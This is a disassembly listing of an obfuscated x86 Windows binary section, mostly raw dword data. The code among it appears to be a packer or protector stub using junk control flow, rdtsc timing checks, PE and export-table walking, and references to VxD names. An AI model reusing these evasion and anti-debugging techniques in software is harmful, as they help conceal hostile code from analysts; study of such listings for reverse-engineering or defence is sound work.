		dd 6052F717h, 453C52BBh, 60310F61h, 109FC5BFh, 79CBBB4Ch
		dd 5A6105C4h, 24048958h, 0A840Fh, 2B600000h, 0E922A185h
		dd 615F5607h, 2C24448Bh, 12C9B529h, 0F5007E9h, 483h, 5E566000h
		dd 24048961h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0C7C35747h, 2928E679h, 890F1992h, 6, 16DD9531h
		dd 858D07E9h, 7EC723Ah,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0FDC35242h, 6AD0FFF9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7821C350h
		dd 0D38CD15Bh, 33DB767h, 6A282444h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 6D59C353h
		dd 0BBFD812Bh, 60605419h, 66C18B66h, 6141F8BEh,	2F85B58Bh
		dd 296107E9h, 0E91DA18Dh, 6AAB07h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0AF277AC3h, 0D3AC9D2Eh
		dd 820F0B87h, 0Ch, 7E9h, 0FB751400h, 7B7E1FEh, 0A38DFF5Eh
		dd 8307EC9Fh, 0EC9FA3BDh, 0A750007h, 0B58DC033h, 7ECAE39h
		dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h,	502C2444h
		dd 723A858Dh, 0D0FF07ECh, 28244403h, 8ADF8B97h,	0EC9F9F85h
		dd 74C08407h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 9D85FF04h, 0E907E90Eh, 0FFFFFF5Dh
		dd 56006A5Eh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0FA7FB11Bh, 8D01DCA7h, 7E9253Dh,	5E960h
		dd 28EA0000h, 8B27DE5Dh, 8BF961F8h, 0E90E9D85h,	68D0F07h
		dd 89000000h, 0E90331B5h, 0E9E0D107h, 5, 5B2631C3h, 0CD850377h
		dd 6A07E915h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 1231C351h, 1FC9A82h, 0E91B0995h
		dd 6AF62B07h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0A24FC356h, 0B59529A9h, 9607E91Ch
		dd 8589FC60h, 7E91671h,	15B58961h, 6607E90Fh, 55006AADh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0FFB9F68Eh, 0DE9A6C3h, 0D000000h, 883B5D1Fh,	41B2DCCBh
		dd 6A9B441Dh, 0F02E0C1h, 0C87h,	68A0F00h, 0F000000h, 82h
		dd 1850300h, 107E925h, 0E91AAD95h, 66F86007h, 0AACDE881h
		dd 6A9661h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 693A27C3h, 89C42FD4h, 0E911B5BDh,	6AAD07h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 9BBFE9C3h, 358D0107h, 8907E935h, 0E91DDD8Dh,	0B8E0F07h
		dd 60000000h, 1DFB70Fh,	0E91191B5h, 7C816107h, 2424h, 870F1000h
		dd 0CAh, 21019D31h, 850F07E9h, 0Ah, 958D2960h, 8B07E931h
		dd 0F5061DAh, 0A88h, 8B0F6000h,	0
; ---------------------------------------------------------------------------
		pusha
		popa
		popa
		mov	[esp], eax
		jmp	loc_5BEB5A
; ---------------------------------------------------------------------------
		dec	eax
		shr	byte ptr [edx],	1
		retn	65A9h
; ---------------------------------------------------------------------------
		db 18h
; ---------------------------------------------------------------------------


loc_5BEB5A:				; CODE XREF: sdfs____:005BEB4Ej
		mov	eax, [esp+28h]
		mov	[ebp+7E91585h],	eax
		push	eax
		jns	loc_5BEB74
		pusha
		mov	ebx, 64BD83BFh
		push	ecx
		pop	edx
		popa


loc_5BEB74:				; CODE XREF: sdfs____:005BEB65j
		mov	[esp], eax
		push	0
		push	edx
		call	sub_5BEB82
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEB82	proc near		; CODE XREF: sdfs____:005BEB7Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5BEB82	endp

; ---------------------------------------------------------------------------
		dw 29D7h
		dd 72A530D7h, 87BE6009h, 5054159Eh, 5AC0BF0Fh, 6870F61h
		dd 9000000h, 0E91611B5h, 3A858D07h, 6A07EC72h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F4DC357h, 68Dh, 818D0900h, 3107E930h, 0E934518Dh, 89D0FF07h
		dd 0E907059Dh, 4403F807h, 89F82424h, 6A1C2444h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0D3D3C355h, 0F178EFCh, 1580h, 7E86000h, 0CD000000h
		dd 834B9CEBh, 895E3735h, 0E935498Dh, 81606107h,	0B1E3E7C3h
		dd 0F381665Bh, 0C6614D8Eh, 0E9265985h, 85C70007h, 7ECA14Eh
		dd 0
		dd 9FA785C7h, 7ECh, 8B600000h, 0E91351B5h, 0CE807h, 0E5D60000h
		dd 54332D20h, 11BB35AFh, 9D298C99h, 7E90DCDh, 880F615Fh
		dd 16h,	11E9h, 4EDFE200h, 0F728B4D9h, 290F435Dh, 25D5F3FFh
		dd 89616013h, 0E901558Dh, 8C207h, 1858BF9h, 2907E925h
		dd 0E91AF1B5h, 6A4AF807h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 761DC356h, 4B715678h
		dd 6A04D26Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 47D2C356h, 7900DDCBh, 0F82BC1F9h
		dd 870FC203h, 6, 0E5BD01h, 8A0F07E9h, 0Eh, 840F60h, 31000000h
		dd 0E92E659Dh, 89966107h, 0E92B1D9Dh, 14E907h, 111B0000h
		dd 72683879h, 8D583F0Eh, 9B7F9880h, 0D43AE8C7h,	60ADB6A6h
		dd 7E9h, 448C5400h, 0C2A3E728h,	61E7F480h, 24247C81h, 10000000h
		dd 0DA870Fh, 0AE90000h,	0E1000000h, 0C22FE23Ch,	208D53Ch
		dd 870F901Ah, 25h, 0AE95250h, 9C000000h, 2349CFBDh, 0B501554Eh
		dd 0E9310F4Fh, 0Bh, 0F64E1245h,	140D6779h, 5A2B9E3Eh, 60605058h
		dd 310F5250h, 5250585Ah, 585A310Fh, 0F906161h, 0E86h, 0B5236000h
		dd 7E920DDh, 0E3DAF781h, 8B6171B6h, 0F282444h, 0B84h, 0EF806000h
		dd 618589E9h, 6107E934h, 18830F90h, 0E9000000h,	13h, 2EEF7815h
		dd 129F05DDh, 10921630h, 14C2979Ah, 50DFA005h, 0D08B6060h
		dd 99BF6661h, 0E99061EBh, 0Ah, 6BA75F2Fh, 971A6958h, 858DC642h
		dd 7EC723Ah, 10890Fh, 0BE90000h, 0BF000000h, 0C695DDFEh
		dd 0DEBF06A1h, 0D0FF9091h, 68C0Fh, 95890000h, 7E91655h
		dd 0FFFDB5E9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0E57DE5E5h, 0DA093F45h
		dd 0E9F5C6FDh, 6, 8CD15B78h, 858D67D3h,	7ECB406h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 55C35343h, 0BEE2659Bh
		dd 751BD29h, 509007E9h,	50525052h, 5A310F52h, 0F310F58h
		dd 8Dh,	0F585A00h, 5E526031h, 50585A61h, 25890Fh, 52500000h
		dd 14E9h, 0C1029900h, 9862449Eh, 0DA1DA7F1h, 9CD61C29h
		dd 0E08D3844h, 50310FFFh, 5A310F52h, 90585A58h,	0F9BF0F60h
		dd 15C9B589h, 646107E9h, 35FFh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0CF15AFC3h
		dd 0B5894BB1h, 7E900A9h, 6850Fh, 8D090000h, 7E92FD5h, 6A24048Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0BFCDC353h, 55B5891Fh, 8907E926h,	0E9017985h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 95463E8Ch, 14E971h, 96C80000h, 0D9DF23E8h
		dd 7BE11A6Bh, 7A298084h, 32927872h, 896473B9h, 25h, 39850100h
		dd 8D07E926h, 0ECB25485h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 20444428h
		dd 0C6092352h, 8B0F492Dh, 0Ch, 6830Fh, 0B5890000h, 7E902F9h
		dd 89016089h, 0E92C6995h, 819D8907h, 0E907E935h, 205h
		dd 13E9h, 0D1212D00h, 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh
		dd 3C43DC0Ah, 0E8DB8Bh,	5D000000h, 0B24DED81h, 9CBC07ECh
		dd 830012FFh, 0E926A9BDh, 18740007h, 875858Bh, 0C607E9h
		dd 75858B00h, 0C607E91Ah, 95FF0000h, 7E9138Dh, 0ABB5FF60h
		dd 8D07EC9Bh, 0EC9BAF85h, 858D5007h, 7EC9DA7h, 0D595FF50h
		dd 8307E90Ah, 9610CC4h,	0E911C985h, 10E907h, 279D0000h
		dd 339AE408h, 5E71F3DBh, 85AF645Dh, 0B58D6A9Ah,	7EC9DA7h
		dd 8D61F860h, 0E90349BDh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 7C2514A2h
		dd 3E80F8A9h, 52840F00h, 0F000000h, 0F86h, 0AE900h, 0BF6D0000h
		dd 8FD489FFh, 64068461h, 52006AA4h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0EBE97E6h, 5DD68F33h
		dd 71BD89ECh, 2907E91Eh, 0E9030D95h, 0FFACE907h, 800FFFFFh
		dd 1, 0B8F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D3119C3h, 7E91171h, 33F960AAh
		dd 0E9264D8Dh, 7B86107h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0DE89C357h
		dd 0FE9h, 1A5F6C00h, 71EE552Dh,	3B3FA7F3h, 54C64E22h, 231985C7h
		dd 107E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0B39DFFC3h, 0A0ABC89Ah, 8D8DF5C5h
		dd 7E94D5Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	9CC35646h, 840FE1FFh, 8, 66D78B60h, 61B71AB8h
		dd 0C245C8Bh, 0E855h, 815D0000h, 0ECB410EDh, 0B8838B07h
		dd 89000000h, 0EC9BAB85h, 46858D07h, 8907ECB2h,	0B883h
		dd 0C0335D00h, 53006AC3h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 27687332h, 13E92Dh, 8B090000h
		dd 61755AE6h, 3B13E632h, 0CFD44996h, 0BC564D06h, 53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8929F53Bh, 0E92A0985h, 6A6007h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 893490C3h, 0E902FD95h
		dd 81858D07h, 0F807ECB6h, 0AD8D89h, 505007E9h, 138D0F52h
		dd 0E9000000h, 0Eh, 3401722Dh, 30148F41h, 335D27D8h, 310F4E04h
		dd 66FA8B60h, 612318B9h, 489585Ah, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 3792C7B5h
		dd 3870C3B1h, 0C598D01h, 0B58907E9h, 7E90C91h, 35FF64h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0B3CBC351h, 0B88D8008h, 0A5833B8Eh
		dd 1830Fh, 64FC0000h, 2589h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 120477C3h
		dd 54D8E7F7h, 0B6F0858Dh, 6A07ECh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 89FC07C3h, 5E90160h
		dd 57000000h, 0ACDDFF73h, 265985C6h, 6A4F07E9h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 1B64C350h, 8B607604h, 28DE80D7h, 4E861h, 742A0000h
		dd 0B360FEC8h, 28B0FE5h, 60000000h, 50506161h, 10E952h
		dd 4A6F0000h, 4BF4414Bh, 760AE3Bh, 7301EB40h, 310FC061h
		dd 52505250h, 585A310Fh, 6160310Fh, 585A585Ah, 424448Bh
		dd 61C78B60h, 5250008Bh, 0C78B6660h, 60310F61h,	5A615951h
		dd 24448958h, 0AE96004h, 4D000000h, 36F52603h, 2A589678h
		dd 6A58611Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 50DCC353h, 0B5FFC2CFh,	7E90B11h
		dd 2EC9BD89h, 858D07E9h, 7EC9FDBh, 89D0FFF8h, 0E92591B5h
		dd 70E907h, 8BF50000h, 550C245Ch, 0E8h,	0ED815D00h, 7ECB68Bh
		dd 2669858Bh
		dd 858907E9h, 7E90B11h,	16B5858Bh, 858907E9h, 7E90115h
		dd 347D858Bh, 858907E9h, 7E91EE1h, 265985C6h, 0C70007E9h
		dd 0ECA14E85h, 7, 0F0858D00h, 8907ECB6h, 0B883h, 0C0335D00h
		dd 0C78160C3h, 13B8F489h, 574EABAh, 0B5316177h,	7E92B49h
		dd 26058589h, 74BC07E9h, 6A0012FFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 3422C355h
		dd 0EF0C7728h, 58F64h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 28ABC356h
		dd 20F8DE34h, 836D46C6h, 6A04C4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0F8F9CEC3h, 6E99E35h
		dd 60000000h, 460F580h,	83E961A5h, 53000000h, 57565251h
		dd 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h
		dd 3B8166D8h, 850F4550h, 57h, 3785B8Bh,	8B1C245Ch, 74032473h
		dd 8B561C24h, 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h
		dd 5C8B41FFh, 178B1C24h, 20245403h, 8A04C783h, 74C08402h
		dd 75033A08h, 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh
		dd 386048Bh, 5F1C2444h,	5B595A5Eh, 330008C2h, 0FFF1E9C0h
		dd 0CA8BFFFFh, 6E8h, 4B28C800h,	0E8211BEFh, 0Bh, 43945E96h
		dd 0D1239AB4h, 81D17684h, 9BDBADF7h, 0E95B594Ch, 11h, 378A720Ch
		dd 93EB3A99h, 0DDD2343Ch, 0C0A36D01h, 0F4C38139h, 0E9000073h
		dd 12h,	0AEB4A762h, 79BC2D8Bh, 3D5ED17Dh, 0EB5558F7h, 0F62BC604h
		dd 0DE8h, 0A10D2200h, 33605A03h, 228E6139h, 0FF58CFA3h
		dd 73BF1E34h, 5A7713E3h, 0F2815953h, 4F0D8B80h,	28C0Fh
		dd 0EF8A0000h, 229BEA81h, 0F88B17BEh, 0CCE6C281h, 13E93BF4h
		dd 0AB000000h, 0A84A3ABEh, 655F58Fh, 3DEDE02Bh,	7EDF5284h
		dd 8B52CE2Fh, 33048FC1h, 7D64B956h, 575F75A9h, 0EE835FF5h
		dd 81CA8B04h, 0FF8CD0FEh, 0A0850FFFh, 0B4FFFFFFh, 4934EBB8h
		dd 474D5346h, 56202052h, 2020444Bh, 56202020h, 20204D4Dh
		dd 56202020h, 334E4957h, 56202032h, 444C4458h, 202052h
		dd 2 dup(0)
		dd 0E9000000h, 6DEh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0D5C35040h, 0E9E9B009h, 14h, 753E2D8Dh
		dd 9E79CF6Dh, 36D2EF4Ch, 5216F03Fh, 2567A189h, 0BE960h
		dd 0A8020000h, 0C5B98C77h, 0DAE12B8Dh, 0F185C765h, 7ECB8h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 7F13C351h, 830FF5ECh, 1Eh, 11E960h
		dd 0EFA90000h, 52338349h, 4096D0C4h, 363580A0h,	81C7F1B8h
		dd 0E95A90C1h, 0C68B611Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0EFC35141h, 0ED5B6489h, 870F6016h, 11h
		dd 0BE8h, 0B28B8500h, 6EEF3886h, 0A9D1EEF5h, 5BF5565Eh
		dd 8B666061h, 58A0FFAh,	66000000h, 0CC6AF081h, 0D8B70F61h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6C35141h
		dd 0C1B07F47h, 6E910E8h, 0F8000000h, 0AFEA613Dh, 0C8C166EBh
		dd 52006A08h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 325BC362h, 89F98908h, 0ECB8F585h, 0CC8A6007h
		dd 0C16661F5h, 6A08CBh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 2D2B69C3h, 5497CCDCh, 0E9F823B3h
		dd 0Fh,	0E86D0468h, 0AAE95620h,	0FF9CDF80h, 83D8818Ch
		dd 850F40FBh, 50h, 0C9BD8DFCh, 6A07ECB8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0FEEBC350h
		dd 0FAA8AF51h, 0A75C00DAh, 11E9h, 0F978DF00h, 0EB3224F2h
		dd 0D47B91CBh, 0EC3A5081h, 66607909h, 8B66C78Bh, 64E961D9h
		dd 0FC000001h, 0F0DFB83h, 5985h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 14E9602Ch
		dd 7A000000h, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h
		dd 0B5372300h, 8DF96128h, 0ECB8D1BDh, 14E9FC07h, 60000001h
		dd 2810Fh, 61600000h, 3820Fh, 0B70F0000h, 0FB8361FFh, 6A850F01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 8E53C356h, 0AE99Ch, 70F70000h
		dd 462994ACh, 345BED1Eh, 0D9BD8DF9h, 0F07ECB8h,	98Ah, 0E0BE6000h
		dd 8B0CE23Fh, 0B0E961DAh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 234FC350h
		dd 0FCF83AB4h, 2AFB83FCh, 20850Fh, 8DF90000h, 0ECB8E1BDh
		dd 18A0F07h, 0F9000000h, 72E9h,	8E900h,	75D0000h, 0C34DF577h
		dd 0FB83E0ECh, 8F850F27h, 6A000002h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 72F9C352h
		dd 6850F75h, 60000000h,	80E080FCh, 0E9BD8D61h, 6A07ECB8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0DEA4C350h, 17D9C3A8h, 579785EAh,	1860Fh
		dd 89F90000h, 0ECB8F9BDh, 0EE9FC07h, 14000000h,	347A839Ah
		dd 58804D60h, 2D76F864h, 0C88C66B9h, 12E9h, 70BA4600h
		dd 3721DBA9h, 7CC040F6h, 8A29703Ah, 241B891Ch, 51006A03h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0AC090EFh, 4D850FC0h, 0F9000001h, 0BEB3B58Dh, 6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 47C6AC3h, 8BE3E081h,	0ECBF3E85h, 0FE96007h, 2D000000h
		dd 993A3745h, 346AED67h, 1DB4AC10h, 0BE669619h,	92616025h
		dd 60D48A60h, 0BA666160h, 6161A432h, 0F525050h,	28Ah, 0F616000h
		dd 2860F31h, 60000000h,	92585A61h, 4C010FF9h, 6AFE24h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 5107D7C3h, 0DE9A856h, 0E3000000h, 64FAEA6Ah,	85F14692h
		dd 0C85ADBACh, 0DE95Ah,	21740000h, 16970E9Ah, 7481103Fh
		dd 83B9E6F8h, 6A24C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 66FCB4C3h, 0E9FC7289h, 14h, 9D562C8Bh
		dd 193F55C4h, 83679FC0h, 7190E631h, 0F436197Dh,	0F910CEC1h
		dd 2728966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0ACC35343h, 5723E0C1h, 0F944DACh, 182h,	4CDF500h
		dd 6E9F9h, 66890000h, 2177A38Ah, 81E9h,	0DE900h, 0AA020000h
		dd 0CDFFE3EBh, 102624E6h, 0F892444Eh, 0BF3E858Bh, 0F6007ECh
		dd 61F8D9B7h, 0BEB3B58Dh, 6A07ECh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 81E650C3h, 0B70F6072h
		dd 68C0FFAh, 81000000h,	9FE00C6h, 858D611Bh, 7EC7789h
		dd 6AD0FFF8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0C349C356h, 54AC3008h,	858988B6h
		dd 7ECB8F1h, 11E9h, 55B04500h, 42CFD013h, 0BF6A264Eh, 0ADF27852h
		dd 0E961072Fh, 0Ah, 8C4DB4DCh, 4E57A56Fh, 858BFEA1h, 7ECB8F1h
		dd 0FE960h, 0BDBD0000h,	0BC82D4E6h, 6A1A0AC4h, 0F44BEF3Bh
		dd 0DAB70F05h, 60F8C361h, 0E51EB866h, 3FE18153h, 5A272ECDh
		dd 870F6061h, 17h, 12E9h, 88E14900h, 0E6B1B0A1h, 25238E10h
		dd 0D0636451h, 837DEA3Fh, 0ECBF3EBDh, 850F0007h, 34h, 6E9h
		dd 0C7BDE400h, 0C72BBEAAh, 0ECBF3E85h, 1013F07h, 14E96000h
		dd 2A000000h, 6D934A07h, 68A25CCDh, 3D3CEABCh, 1EC6281Dh
		dd 66B46A6Dh, 61C50BBBh, 25E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A98DA3E8h
		dd 63366E1Eh, 20CDFC6Ah, 0
; ---------------------------------------------------------------------------


loc_5BFCFC:				; CODE XREF: sdfs____:005BFD35j
		or	eax, eax
		jz	short loc_5BFD37
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+7ECB8F9h]
		mov	ecx, 8


loc_5BFD0E:				; CODE XREF: sdfs____:005BFD12j
		cmpsb
		jnz	short loc_5BFD33
		dec	ecx
		jnz	short loc_5BFD0E
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+7ECB8F5h]
		cmp	ebx, [eax+34h]
		jg	short loc_5BFD37
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx


loc_5BFD29:				; CODE XREF: sdfs____:005BFD66j
		mov	eax, [ecx]
		mov	[ebp+7ECB8F1h],	eax
		jmp	short loc_5BFD37
; ---------------------------------------------------------------------------


loc_5BFD33:				; CODE XREF: sdfs____:005BFD0Fj
		mov	eax, [eax]
		jmp	short loc_5BFCFC
; ---------------------------------------------------------------------------


loc_5BFD37:				; CODE XREF: sdfs____:005BFCFEj
					; sdfs____:005BFD20j ...
		popa
		mov	eax, [ebp+7ECB8F1h]
		iret
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BFD4A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFD4A	proc near		; CODE XREF: sdfs____:005BFD42p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5BFD4A	endp

; ---------------------------------------------------------------------------
		aad	0BEh
		mov	esp, 8ECC4560h
		jmp	loc_5BFD74
; ---------------------------------------------------------------------------
		jle	short loc_5BFD29
		inc	edx
		shr	byte ptr [esi+0], 0A0h
		inc	eax
		retf	9F94h
; ---------------------------------------------------------------------------
		db 0EBh, 6, 51h
; ---------------------------------------------------------------------------


loc_5BFD74:				; CODE XREF: sdfs____:005BFD61j
		push	0
		push	eax
		call	sub_5BFD7F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFD7F	proc near		; CODE XREF: sdfs____:005BFD77p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5BFD7F	endp

; ---------------------------------------------------------------------------
		db 43h
		dd 9490A37Dh, 234591ADh, 0C08BF9AAh, 13E8h, 0E9EAB00h
		dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 0A67F8D51h, 0DF8B6660h
		dd 5E61FA8Bh, 0AA7B8CB9h, 7EC68156h, 66000071h,	8151D181h
		dd 68h,	1B830F00h, 0E8000000h, 12h, 5599F81Dh, 3D193232h
		dd 0CCC16018h, 0B2BA78CAh, 0B70FC05Fh, 0E95A5BDAh, 9, 8A748BC7h
		dd 130B4379h, 3234FF0Eh, 6840Fh, 0C8810000h, 0F47F6CCh
		dd 4CDBB85Fh, 0C7816767h, 5BF0B557h, 0EF81C38Bh, 3DA0D20Ch
		dd 0ECA2BB66h, 12CFEF81h, 0F1B35679h, 4820F57h,	66000000h
		dd 8F42C3B8h, 0CE8A1604h, 8104EA83h, 0FF8F34FAh, 0B2850FFFh
		dd 0FFFFFFFh, 28Fh, 0E91EB300h,	109h, 21C0DFE3h, 8A055C97h
		dd 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	171E577Dh
		dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h
		dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh,	20602060h
		dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h
		dd 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h
		dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h, 59A0A3D2h
		dd 1Eh,	8 dup(0)
		dd 0CC4E900h, 0BD680000h, 0E907ECC3h, 0FFFCBA0Ah, 0ECC4C468h
		dd 0BA00E907h, 0AD68FFFCh, 0E907ECC5h, 0FFFCB9F6h, 0ECC69568h
		dd 0B9ECE907h, 2868FFFCh, 0E907ECC7h, 0FFFCB9E2h, 0ECC7DC68h
		dd 0B9D8E907h, 2068FFFCh, 0E907ECC9h, 0FFFCB9CEh, 0ECCA4B68h
		dd 0B9C4E907h, 1D68FFFCh, 0E907ECCBh, 0FFFCB9BAh, 0ECCC1568h
		dd 0B9B0E907h, 0BC68FFFCh, 0E907ECCCh, 0FFFCB9A6h, 38B5C754h
		dd 7302789Ch, 0A04D2FC1h, 179E1C74h, 49E490A5h,	0D77A56D3h
		dd 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah,	70032969h
		dd 0F3D1EB28h, 0ED6A04Ah, 0DD15342h, 0E90DAC40h, 6A56AD5Ch
		dd 49A18A91h, 0F8A9CF6Dh, 305C74B8h, 22B44A58h,	1AEA94BAh
		dd 0A5DA088h, 54EE78EFh, 0CA1A9888h, 8715978Eh,	6647DAABh
		dd 356F37B5h, 600C0AA3h, 966E0C20h, 3DE3790Ch, 0E9E539F1h
		dd 10BC3143h, 0D0AA4EFAh
dword_5C005C	dd 0E91DA842h, 0B0142CAEh, 0EF96CA26h, 28739AD4h, 46822B55h
					; DATA XREF: ___:off_444E84o
		dd 892BCAB4h, 81CD1163h, 6635096Bh, 0A7B57F1Eh,	8B9B43D5h
		dd 43AF3509h, 9FBC57Eh,	337B8C1Ah, 4F000005h, 0ED6A04Ah
		dd 3FBDD470h, 0E5FBDAE7h, 2D1AE5A8h, 0D567539Fh, 0C4570AABh
		dd 0A9C8B953h, 0E937B4CBh, 0C35D6BBBh, 72CBCECEh, 945C4628h
		dd 72CBD9F5h, 0DA838F28h, 1AD4C739h, 2D278Ch, 0B3830000h
